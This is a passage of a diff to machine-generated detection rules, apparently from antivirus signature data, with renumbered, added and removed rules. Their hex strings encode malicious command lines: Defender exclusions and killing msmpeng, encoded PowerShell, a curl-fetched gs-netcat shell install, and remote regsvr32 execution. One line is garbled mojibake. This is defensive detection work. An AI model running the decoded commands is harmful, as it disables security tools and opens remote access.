00 01 00 22 00 75 } //27500 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*97+(#a_00_2 & 1)*101+(#a_67_3 & 1)*27500) >=16 + +} +rule _InfrastructureShared_27392{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_46_0 = {50 73 4d 73 68 74 61 44 6f 77 6e 6c 6f 61 64 2e 41 00 01 00 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 01 00 50 00 62 00 51 00 42 00 7a 00 41 00 47 00 67 00 41 00 64 00 41 00 42 00 } //21283 - $a_00_1 = {43 00 41 00 41 00 49 00 67 00 42 00 6f 00 41 00 48 00 51 00 41 00 64 00 41 00 42 00 77 00 41 00 48 00 4d 00 41 00 4f 00 67 00 41 00 76 00 41 00 43 00 38 00 41 00 00 00 d7 bd 00 00 02 00 02 00 03 } //104 + $a_00_1 = {43 00 41 00 41 00 49 00 67 00 42 00 6f 00 41 00 48 00 51 00 41 00 64 00 41 00 42 00 77 00 41 00 48 00 4d 00 41 00 4f 00 67 00 41 00 76 00 41 00 43 00 38 00 41 00 00 00 d7 b3 00 00 10 00 10 00 05 } //104 condition: ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*104) >=2 } -rule _InfrastructureShared_26025{ +rule _InfrastructureShared_27393{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,10 00 10 00 05 00 21 " + + strings : + $a_46_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 44 75 6c 6b 61 67 75 6d 00 05 00 0a 00 63 00 75 00 72 00 6c 00 20 00 05 00 20 00 2d 00 2d 00 6f 00 61 00 75 00 74 00 68 00 32 00 2d 00 62 00 65 00 61 00 72 00 65 00 72 00 20 00 05 00 24 } //21283 + $a_00_2 = {68 00 2e 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 2e 00 6e 00 65 00 74 00 2f 00 01 00 22 00 75 00 73 00 65 00 72 00 70 00 72 00 69 00 6e 00 63 00 69 00 70 00 61 00 6c 00 6e 00 61 00 6d 00 65 00 01 00 0a 00 6e 00 65 00 74 00 69 00 64 00 00 00 d7 bd 00 00 02 00 02 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 } //97 + $a_69_3 = {61 74 65 57 44 41 56 2e 42 00 01 00 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 01 00 3d 02 73 00 74 00 6f 00 70 00 2d 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 90 02 30 20 00 2d 00 6e 00 90 22 06 03 61 00 6d 00 65 00 20 00 6d 00 73 00 6d 00 70 00 65 00 6e 00 67 00 90 00 01 00 } //29285 + $a_00_4 = {69 00 6c 00 6c 00 90 02 30 20 00 2d 00 6e 00 90 22 06 03 61 00 6d 00 65 00 20 00 6d 00 73 00 6d 00 70 00 65 00 6e 00 67 00 90 00 00 00 d7 bf 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 43 6d 64 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 4e 69 62 65 74 6a 61 2e 41 00 01 00 90 02 5c 00 53 00 74 00 61 00 72 00 74 00 75 } //557 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*97+(#a_69_3 & 1)*29285+(#a_00_4 & 1)*557) >=16 + +} +rule _InfrastructureShared_27394{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 03 00 21 " @@ -340755,7 +358712,7 @@ rule _InfrastructureShared_26025{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*111+(#a_23_2 & 1)*1) >=2 } -rule _InfrastructureShared_26026{ +rule _InfrastructureShared_27395{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -340765,7 +358722,7 @@ rule _InfrastructureShared_26026{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_26027{ +rule _InfrastructureShared_27396{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 03 00 21 " @@ -340777,7 +358734,7 @@ rule _InfrastructureShared_26027{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*111+(#a_00_2 & 1)*2) >=2 } -rule _InfrastructureShared_26028{ +rule _InfrastructureShared_27397{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -340788,7 +358745,7 @@ rule _InfrastructureShared_26028{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*110) >=2 } -rule _InfrastructureShared_26029{ +rule _InfrastructureShared_27398{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0e 00 0e 00 09 00 21 " @@ -340804,7 +358761,22 @@ rule _InfrastructureShared_26029{ ((#a_4c_0 & 1)*21539+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1) >=14 } -rule _InfrastructureShared_26030{ +rule _InfrastructureShared_27399{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 09 00 21 " + + strings : + $a_46_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 54 65 62 61 63 69 6c 2e 44 00 0a 00 1a 00 20 00 2d 00 64 00 61 00 74 00 61 00 66 00 6f 00 6c 00 64 00 65 00 72 00 20 00 ff ff 14 00 6d 00 65 00 63 00 68 00 61 00 62 00 72 00 65 00 61 00 } //21283 + $a_ff_1 = {00 62 00 75 00 69 00 6c 00 64 00 63 00 6c 00 6f 00 75 00 64 00 ff ff 0e 00 6d 00 65 00 35 00 64 00 61 00 74 00 61 00 ff ff 10 00 73 00 79 00 6d 00 61 00 6e 00 74 00 65 00 63 00 ff ff 10 00 62 00 72 00 6f 00 61 00 64 00 63 00 6f 00 6d 00 ff ff 0c 00 61 00 6d 00 61 00 7a 00 6f 00 6e 00 ff ff 18 00 6f 00 75 00 74 00 70 00 75 00 74 00 70 00 72 00 65 00 66 00 69 00 78 00 ff ff 08 00 2e 00 70 00 73 00 31 00 00 00 d7 fd 00 00 02 00 02 00 03 00 21 23 53 4c 46 3a 4c 69 6e 75 78 2e 4e 65 74 43 61 74 53 68 65 6c 6c 2e 53 31 00 01 00 5e 00 49 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 20 00 61 00 6e 00 64 00 20 00 73 00 74 00 61 00 72 00 74 00 20 00 61 00 20 00 70 00 65 00 72 00 6d 00 61 00 6e 00 65 00 6e 00 74 00 20 00 67 00 73 00 2d 00 6e 00 65 00 74 00 63 00 61 00 74 } //107 + $a_00_3 = {65 00 72 00 73 00 65 00 01 00 2a 00 24 00 28 00 63 00 75 00 72 00 6c 00 20 00 2d 00 66 00 73 00 53 00 4c 00 20 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 01 00 46 00 47 00 53 00 5f 00 55 00 53 00 45 00 4c 00 4f 00 43 00 41 00 4c 00 5f 00 47 00 53 00 4e 00 43 00 3d 00 2e 00 2e 00 2f 00 74 00 6f 00 6f 00 6c 00 73 00 2f 00 67 00 73 00 2d 00 6e 00 } //101 + $a_00_4 = {63 00 61 00 74 00 00 00 d7 9a 01 00 01 00 01 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 70 45 78 63 6c 75 64 69 2e 41 21 72 66 6e 00 01 00 a5 02 72 00 65 00 67 00 20 00 20 00 61 00 64 00 64 00 20 00 90 02 02 68 00 6b 00 65 00 79 00 5f 00 6c 00 6f 00 63 00 61 00 6c 00 5f 00 6d 00 61 00 63 00 68 00 69 00 6e 00 65 00 5c 00 } //101 + $a_00_5 = {66 00 74 00 77 00 61 00 72 00 65 00 5c 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 64 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 5c 00 65 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 73 00 5c 00 70 00 61 00 74 00 68 00 73 00 90 00 01 00 c2 00 77 00 6d 00 69 } //115 + $a_00_7 = {6e 00 61 00 6d 00 65 00 73 00 70 00 61 00 63 00 65 00 3a 00 5c 00 5c 00 72 00 6f 00 6f 00 74 00 5c 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f } //32 + condition: + ((#a_46_0 & 1)*21283+(#a_ff_1 & 1)*107+(#a_00_3 & 1)*101+(#a_00_4 & 1)*101+(#a_00_5 & 1)*115+(#a_00_7 & 1)*32) >=10 + +} +rule _InfrastructureShared_27400{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 03 00 21 " @@ -340815,7 +358787,7 @@ rule _InfrastructureShared_26030{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*116) >=2 } -rule _InfrastructureShared_26031{ +rule _InfrastructureShared_27401{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -340825,7 +358797,7 @@ rule _InfrastructureShared_26031{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26032{ +rule _InfrastructureShared_27402{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -340836,18 +358808,20 @@ rule _InfrastructureShared_26032{ ((#a_46_0 & 1)*21283+(#a_ff_1 & 1)*-28672) >=1 } -rule _InfrastructureShared_26033{ +rule _InfrastructureShared_27403{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 06 00 21 " strings : - $a_46_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 4b 6f 73 74 69 76 6f 6c 00 01 00 22 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 72 00 65 00 73 00 74 00 6d 00 65 00 74 00 68 00 6f 00 64 00 03 00 08 00 2d 00 75 00 72 00 69 00 03 00 18 } //21283 硅汰楯㩴楗㍮⼲潋瑳癩汯Ā∀椀渀瘀漀欀攀ⴀ爀攀猀琀洀攀琀栀漀搀̀ࠀⴀ甀爀椀̀᠀ - $a_00_2 = {68 00 6f 00 64 00 20 00 70 00 6f 00 73 00 74 00 f6 ff 30 00 69 00 6e 00 74 00 65 00 67 00 72 00 69 00 74 00 79 00 61 00 7a 00 75 00 72 00 65 00 6f 00 70 00 65 00 72 00 61 00 74 00 69 00 6f 00 6e 00 73 00 00 00 d7 41 01 00 3c 00 3c 00 03 00 21 23 53 4c 46 3a 43 4d 44 3a 57 69 6e 33 32 2f 53 6c 65 70 73 61 6e 64 2e 41 00 32 00 1e 00 5c 00 70 00 6f } //101 + $a_46_0 = {43 4d 44 3a 44 6f 6d 61 69 6e 53 70 6f 6f 66 69 6e 67 43 6d 64 00 01 00 0e 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 01 00 10 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 18 fc 14 00 2e 00 61 00 64 00 6f 00 62 00 65 00 } //21283 + $a_00_1 = {6f 00 6d 00 18 fc 14 00 2e 00 61 00 70 00 70 00 6c 00 65 00 2e 00 63 00 6f 00 6d 00 18 fc 16 00 2e 00 67 00 6f 00 6f 00 67 00 6c 00 65 00 2e 00 63 00 6f 00 6d 00 18 fc 1c 00 2e 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 63 00 6f 00 6d 00 00 00 d7 41 01 00 3c 00 3c 00 03 00 21 } //46 + $a_46_2 = {43 4d 44 3a 57 69 6e 33 32 2f 53 6c 65 70 73 61 6e 64 2e 41 00 32 00 1e 00 5c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 0a 00 7a 00 2d 00 65 00 6e 00 63 00 20 00 55 00 77 00 42 00 30 } //21283 + $a_00_4 = {63 00 67 00 42 00 30 00 41 00 43 00 30 00 41 00 55 00 77 00 42 00 73 00 41 00 47 00 55 00 41 00 5a 00 51 00 42 00 77 00 41 00 43 00 41 00 41 00 4c 00 51 00 42 00 54 00 41 00 47 00 55 00 41 00 59 } //69 condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*101) >=4 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*46+(#a_46_2 & 1)*21283+(#a_00_4 & 1)*69) >=1 } -rule _InfrastructureShared_26034{ +rule _InfrastructureShared_27404{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,3c 00 3c 00 03 00 21 " @@ -340858,20 +358832,21 @@ rule _InfrastructureShared_26034{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*69) >=60 } -rule _InfrastructureShared_26035{ +rule _InfrastructureShared_27405{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 05 00 21 " strings : $a_46_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 52 65 67 73 76 72 44 65 70 6c 6f 79 2e 41 00 01 00 24 00 72 00 65 00 67 00 73 00 76 00 72 00 33 00 32 00 2e 00 65 00 78 00 65 00 20 00 2d 00 73 00 20 00 5c 00 5c 00 01 00 10 00 5c 00 70 00 } //21283 - $a_00_1 = {6e 00 74 00 24 00 5c 00 01 00 10 00 5c 00 61 00 64 00 6d 00 69 00 6e 00 24 00 5c 00 01 00 0c 00 5c 00 69 00 70 00 63 00 24 00 5c 00 01 00 08 00 2e 00 64 00 6c 00 6c 00 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 38 00 00 00 10 27 00 00 29 36 00 00 15 21 23 53 43 50 54 3a 4a 53 3a 45 78 76 65 72 74 69 73 } //114 - $a_00_2 = {00 ff ff ff ff 16 00 00 00 65 78 70 69 72 65 64 66 6f 72 62 72 61 6e 64 69 6e 67 28 29 90 00 29 38 00 00 15 21 23 53 43 50 54 3a 4a 53 3a 45 78 76 65 72 74 69 73 65 5f 52 00 00 ff ff ff ff 18 00 00 00 67 65 74 6c 61 73 74 61 64 73 65 72 } //24421 - $a_74_3 = {6d 65 28 29 7b 90 00 29 3a 00 00 15 21 23 53 43 50 54 3a 4a 53 3a 45 78 76 65 72 74 69 73 65 5f 46 00 00 ff ff ff ff 1a 00 00 00 72 65 74 75 72 6e 20 60 24 7b 6c 70 55 72 6c 7d 26 6e 64 6f 6d 3d 24 7b 90 00 29 3a 00 00 15 21 23 53 43 50 54 3a 4a 53 3a 45 78 76 65 72 74 69 73 65 5f 51 00 00 ff ff ff } //25974 + $a_00_1 = {6e 00 74 00 24 00 5c 00 01 00 10 00 5c 00 61 00 64 00 6d 00 69 00 6e 00 24 00 5c 00 01 00 0c 00 5c 00 69 00 70 00 63 00 24 00 5c 00 01 00 08 00 2e 00 64 00 6c 00 6c 00 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 38 00 00 00 8c 23 00 00 29 66 00 00 20 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 53 63 72 69 } //114 + $a_53_2 = {64 61 72 61 6e 6f 2e 41 43 00 00 ff ff ff ff 3b 00 00 00 3c 70 72 6f 76 69 73 69 6f 6e 69 6e 67 63 6f 6d 6d 61 6e 64 73 3e 3c 64 65 76 69 63 } //29808 + $a_6e_3 = {65 78 74 3e 3c 63 6f 6d 6d 61 6e 64 6c 69 6e 65 3e 63 6d 64 2e 65 78 65 90 00 29 6d 00 00 20 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 53 63 72 69 70 74 2f 53 75 64 61 72 61 6e 6f 2e 41 50 00 00 ff ff ff ff 42 00 00 00 3c 70 72 6f 76 69 73 69 6f 6e 69 6e 67 63 6f 6d 6d 61 6e 64 73 3e 3c 64 65 76 69 63 65 63 6f 6e 74 65 78 74 3e 3c } //25445 + $a_6d_4 = {6e 64 6c 69 6e 65 3e 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 90 00 29 73 00 00 20 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 53 63 72 69 70 74 2f 53 75 64 61 72 61 6e 6f 2e 42 43 00 00 ff ff ff ff 48 00 00 00 70 72 6f 76 69 73 69 6f 6e 69 6e 67 63 6f 6d 6d 61 6e 64 73 2f 64 65 76 69 63 65 63 6f 6e 74 65 78 74 2f 63 6f 6d 6d } //28515 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*114+(#a_00_2 & 1)*24421+(#a_74_3 & 1)*25974) >=3 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*114+(#a_53_2 & 1)*29808+(#a_6e_3 & 1)*25445+(#a_6d_4 & 1)*28515) >=3 } -rule _InfrastructureShared_26036{ +rule _InfrastructureShared_27406{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -340881,18 +358856,7 @@ rule _InfrastructureShared_26036{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26037{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " - - strings : - $a_46_0 = {56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 75 73 70 43 6f 6d 6d 61 6e 64 45 78 65 63 75 74 69 6f 6e 2e 42 53 00 01 00 08 80 01 65 63 68 6f 20 73 62 5f 01 00 05 80 01 20 3e 4e 55 4c 01 00 06 80 01 26 20 65 78 69 74 00 00 d7 61 } //21283 - $a_00_1 = {01 } //0 - condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*0) >=3 - -} -rule _InfrastructureShared_26038{ +rule _InfrastructureShared_27407{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -340902,7 +358866,19 @@ rule _InfrastructureShared_26038{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26039{ +rule _InfrastructureShared_27408{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 53 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 06 00 20 00 23 00 20 00 01 00 06 00 20 00 23 00 23 00 18 fc 1a 00 } //21283 + $a_00_1 = {6f 00 67 00 72 00 61 00 6d 00 20 00 46 00 69 00 6c 00 65 00 73 00 00 00 d7 97 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 41 43 53 45 2e 32 32 33 37 30 37 33 39 39 34 2e 61 70 6d 6c 00 01 00 4a 00 5c 00 6c 00 6f 00 63 00 61 00 6c 00 5c 00 74 00 65 00 6d 00 70 00 5c 00 64 00 6d 00 72 00 5c 00 64 00 6d 00 72 00 5f 00 37 00 32 00 2e 00 65 00 78 } //80 + $a_00_3 = {6e 00 73 00 74 00 61 00 6c 00 6c 00 20 00 2d 00 01 00 22 00 2d 00 63 00 68 00 69 00 70 00 64 00 65 00 72 00 65 00 64 00 65 00 73 00 69 00 67 00 6e 00 20 00 2d 00 00 00 d7 a1 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 41 43 53 45 2e 32 32 35 32 32 30 36 30 35 31 2e 61 70 6d 6c 00 01 00 1c 00 5c 00 73 00 63 00 2e 00 } //45 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*80+(#a_00_3 & 1)*45) >=101 + +} +rule _InfrastructureShared_27409{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -340913,7 +358889,7 @@ rule _InfrastructureShared_26039{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*46) >=2 } -rule _InfrastructureShared_26040{ +rule _InfrastructureShared_27410{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -340924,7 +358900,7 @@ rule _InfrastructureShared_26040{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*-28672) >=2 } -rule _InfrastructureShared_26041{ +rule _InfrastructureShared_27411{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -340935,7 +358911,7 @@ rule _InfrastructureShared_26041{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*99) >=2 } -rule _InfrastructureShared_26042{ +rule _InfrastructureShared_27412{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " @@ -340946,7 +358922,7 @@ rule _InfrastructureShared_26042{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*115) >=3 } -rule _InfrastructureShared_26043{ +rule _InfrastructureShared_27413{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -340957,7 +358933,7 @@ rule _InfrastructureShared_26043{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*-28672) >=2 } -rule _InfrastructureShared_26044{ +rule _InfrastructureShared_27414{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -340968,31 +358944,19 @@ rule _InfrastructureShared_26044{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*115) >=2 } -rule _InfrastructureShared_26045{ +rule _InfrastructureShared_27415{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_4c_0 = {41 43 53 45 2e 33 37 33 34 37 30 39 32 39 32 2e 61 70 6d 6c 00 01 00 1e 00 5c 00 6c 00 6f 00 63 00 61 00 6c 00 5c 00 74 00 65 00 6d 00 70 00 5c 00 68 00 79 00 64 00 01 00 5a 00 22 00 20 00 2f 00 6c 00 61 00 } //21539 $a_00_1 = {20 00 22 00 65 00 6e 00 22 00 20 00 2f 00 75 00 73 00 65 00 72 00 6e 00 61 00 6d 00 65 00 20 00 22 00 61 00 64 00 6d 00 69 00 6e 00 69 00 73 00 74 00 72 00 61 00 74 00 6f 00 72 00 22 00 20 00 2f 00 73 00 69 00 64 00 20 00 22 00 01 00 16 00 22 00 20 00 2f 00 63 00 6c 00 69 00 65 00 6e 00 74 00 20 00 22 00 01 } //110 - $a_00_3 = {72 00 65 00 6e 00 74 00 22 00 20 00 20 00 22 00 00 00 d7 e0 00 00 02 00 02 00 03 00 21 23 53 4c 46 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 75 73 70 50 6f 77 65 72 53 68 65 6c 6c 43 6d 64 2e 42 53 00 01 00 3b 80 01 26 20 63 3a 5c 77 69 6e 64 6f 77 73 5c 73 79 73 74 65 6d 33 32 5c 77 69 6e 64 6f 77 73 70 6f 77 65 72 73 68 65 6c 6c 5c } //111 + $a_00_3 = {72 00 65 00 6e 00 74 00 22 00 20 00 20 00 22 00 00 00 d7 e2 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 41 43 53 45 2e 35 39 31 30 37 30 30 34 30 2e 61 70 6d 6c 00 01 00 7c 02 5c 6e 00 65 00 74 00 73 00 68 00 2e 00 65 00 78 00 65 00 20 00 61 00 64 00 76 00 66 00 69 00 72 00 65 00 77 00 61 00 6c 00 6c 00 20 00 66 00 69 00 72 00 65 00 77 00 61 } //111 condition: ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*110+(#a_00_3 & 1)*111) >=4 } -rule _InfrastructureShared_26046{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 03 00 21 " - - strings : - $a_46_0 = {56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 75 73 70 50 6f 77 65 72 53 68 65 6c 6c 43 6d 64 2e 42 53 00 01 00 3b 80 01 26 20 63 3a 5c 77 69 6e 64 6f 77 73 5c 73 79 73 74 65 6d 33 32 5c 77 69 6e 64 6f 77 73 70 6f 77 65 72 73 68 } //21283 - $a_5c_1 = {31 2e 30 5c 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 01 00 43 02 2d 00 65 00 78 00 65 00 63 00 20 00 62 00 79 00 70 00 61 00 73 00 73 00 20 00 2d 00 66 00 69 00 6c 00 65 00 20 00 20 00 25 00 74 00 65 00 6d 00 70 00 25 00 5c 00 90 02 10 2e 00 70 00 73 00 31 00 90 00 01 00 24 02 2d 65 78 65 63 20 62 79 70 61 73 73 20 2d 66 } //27749 - $a_20_2 = {25 74 65 6d 70 25 5c 90 02 10 2e 70 73 31 90 00 00 00 d7 e2 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 41 43 53 45 2e 35 39 31 30 37 30 30 34 30 2e 61 70 6d 6c 00 01 00 7c 02 5c 6e 00 65 00 74 00 73 00 68 00 2e 00 65 00 78 00 65 00 20 00 61 00 64 00 76 00 66 00 69 00 72 00 65 00 77 00 61 00 6c 00 6c 00 } //27753 - condition: - ((#a_46_0 & 1)*21283+(#a_5c_1 & 1)*27749+(#a_20_2 & 1)*27753) >=2 - -} -rule _InfrastructureShared_26047{ +rule _InfrastructureShared_27416{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " @@ -341004,7 +358968,7 @@ rule _InfrastructureShared_26047{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*102+(#a_00_2 & 1)*144) >=3 } -rule _InfrastructureShared_26048{ +rule _InfrastructureShared_27417{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " @@ -341016,7 +358980,7 @@ rule _InfrastructureShared_26048{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*112+(#a_00_3 & 1)*110) >=4 } -rule _InfrastructureShared_26049{ +rule _InfrastructureShared_27418{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,07 00 07 00 07 00 21 " @@ -341031,7 +358995,7 @@ rule _InfrastructureShared_26049{ ((#a_4c_0 & 1)*21539+(#a_02_1 & 1)*40+(#a_00_2 & 1)*58+(#a_00_3 & 1)*115+(#a_3d_4 & 1)*656+(#a_00_5 & 1)*258) >=7 } -rule _InfrastructureShared_26050{ +rule _InfrastructureShared_27419{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -341048,7 +359012,7 @@ rule _InfrastructureShared_26050{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*53+(#a_02_3 & 1)*50+(#a_00_4 & 1)*114+(#a_00_5 & 1)*38+(#a_00_7 & 1)*116+(#a_3d_8 & 1)*656+(#a_00_9 & 1)*258) >=10 } -rule _InfrastructureShared_26051{ +rule _InfrastructureShared_27420{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -341064,7 +359028,7 @@ rule _InfrastructureShared_26051{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*112+(#a_01_2 & 1)*-28672+(#a_35_3 & 1)*656+(#a_00_5 & 1)*54+(#a_00_7 & 1)*37+(#a_00_8 & 1)*258) >=10 } -rule _InfrastructureShared_26052{ +rule _InfrastructureShared_27421{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -341074,18 +359038,32 @@ rule _InfrastructureShared_26052{ ((#a_46_0 & 1)*21283) >=2 } -rule _InfrastructureShared_26053{ +rule _InfrastructureShared_27422{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 03 00 21 " strings : $a_4c_0 = {43 4d 44 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 73 45 78 65 63 45 75 6c 61 00 0a 00 14 00 70 00 73 00 65 00 78 00 65 00 63 00 2e 00 65 00 78 00 65 00 01 00 16 00 2d 00 61 00 63 00 63 00 65 00 70 00 74 } //21539 - $a_00_2 = {01 00 16 00 2f 00 61 00 63 00 63 00 65 00 70 00 74 00 65 00 75 00 6c 00 61 00 00 00 d7 ca 00 00 06 00 06 00 07 00 21 23 54 45 4c 3a 43 4d 44 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 61 73 68 50 6f 77 65 72 53 68 65 6c 6c 00 01 00 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c } //108 + $a_00_2 = {01 00 16 00 2f 00 61 00 63 00 63 00 65 00 70 00 74 00 65 00 75 00 6c 00 61 00 00 00 d7 9f 00 00 01 00 01 00 06 00 21 23 53 4c 46 3a 53 63 72 69 70 74 3a 43 6f 6e 6e 44 6f 77 6e 45 78 65 63 43 6d 64 00 01 00 12 00 62 00 69 00 74 00 73 00 61 00 64 00 6d 00 69 00 6e 00 01 00 08 00 63 00 75 00 } //108 condition: ((#a_4c_0 & 1)*21539+(#a_00_2 & 